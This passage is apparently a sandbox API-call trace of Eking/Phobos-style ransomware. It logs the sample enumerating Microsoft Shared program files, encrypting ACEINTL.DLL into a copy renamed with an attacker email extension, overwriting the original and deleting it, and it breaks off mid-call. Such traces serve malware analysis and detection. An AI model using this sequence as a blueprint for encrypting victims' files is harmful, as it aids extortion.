(normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui")) returned 0x20 [0268.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pl-pl\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.943] SetEvent (hEvent=0xe0) returned 1 [0268.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.944] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.944] CloseHandle (hObject=0x100) returned 1 [0268.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0268.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui")) returned 0x20 [0268.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-br\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.945] SetEvent (hEvent=0xe0) returned 1 [0268.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.946] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.946] CloseHandle (hObject=0x100) returned 1 [0268.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0268.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui")) returned 0x20 [0268.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-PT\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\pt-pt\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.947] SetEvent (hEvent=0xe0) returned 1 [0268.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.949] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.949] CloseHandle (hObject=0x100) returned 1 [0268.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0268.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0268.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.949] SetEvent (hEvent=0xe0) returned 1 [0268.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.953] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=169984) returned 1 [0268.953] CloseHandle (hObject=0x100) returned 1 [0268.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0268.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll")) returned 0x20 [0268.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\rtscom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\rtscom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.954] SetEvent (hEvent=0xe0) returned 1 [0268.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.955] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.955] CloseHandle (hObject=0x100) returned 1 [0268.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0268.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui")) returned 0x20 [0268.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.956] SetEvent (hEvent=0xe0) returned 1 [0268.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.957] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=695296) returned 1 [0268.957] CloseHandle (hObject=0x100) returned 1 [0268.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0268.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0x20 [0268.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.958] SetEvent (hEvent=0xe0) returned 1 [0268.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.960] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.960] CloseHandle (hObject=0x100) returned 1 [0268.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0268.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui")) returned 0x20 [0268.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.961] SetEvent (hEvent=0xe0) returned 1 [0268.962] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.962] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.962] CloseHandle (hObject=0x100) returned 1 [0268.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0268.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui")) returned 0x20 [0268.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.963] SetEvent (hEvent=0xe0) returned 1 [0268.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.964] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.964] CloseHandle (hObject=0x100) returned 1 [0268.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui")) returned 0x20 [0268.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui")) returned 0x20 [0268.965] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.965] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.965] SetEvent (hEvent=0xe0) returned 1 [0269.140] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0269.141] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0269.141] CloseHandle (hObject=0x1b4) returned 1 [0269.141] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0269.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui")) returned 0x20 [0269.142] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.142] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.142] SetEvent (hEvent=0xe0) returned 1 [0269.146] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0269.149] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=26624) returned 1 [0269.149] CloseHandle (hObject=0x1b4) returned 1 [0269.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0269.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui")) returned 0x20 [0269.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\msinfo32.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\msinfo32.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.150] SetEvent (hEvent=0xe0) returned 1 [0269.152] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0269.153] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=378880) returned 1 [0269.153] CloseHandle (hObject=0x1b4) returned 1 [0269.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0269.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0269.153] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.153] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.154] SetEvent (hEvent=0xe0) returned 1 [0269.156] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0269.158] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=198056) returned 1 [0269.158] CloseHandle (hObject=0x1b4) returned 1 [0269.158] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0269.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 0x20 [0269.159] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0269.159] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0269.159] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafb30 | out: lpNewFilePointer=0x0) returned 1 [0269.159] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xc0 [0269.160] ReadFile (in: hFile=0x1b4, lpBuffer=0x3370020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fafb3c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2fafb3c*=0x305a8, lpOverlapped=0x0) returned 1 [0269.166] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x305b0, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0x305b0, lpOverlapped=0x0) returned 1 [0269.175] WriteFile (in: hFile=0xc0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fafb20, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2fafb20*=0xf2, lpOverlapped=0x0) returned 1 [0269.175] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0269.175] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2faf890 | out: lpNewFilePointer=0x0) returned 1 [0269.175] WriteFile (in: hFile=0x1b4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x305a8, lpNumberOfBytesWritten=0x2faf89c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2faf89c*=0x305a8, lpOverlapped=0x0) returned 1 [0269.177] FlushFileBuffers (hFile=0x1b4) returned 1 [0269.181] FlushFileBuffers (hFile=0xc0) returned 1 [0269.184] CloseHandle (hObject=0x1b4) returned 1 [0269.185] CloseHandle (hObject=0xc0) returned 1 [0269.186] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\aceintl.dll")) returned 1 [0269.189] SetEvent (hEvent=0xe0) returned 1 [0269.189] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 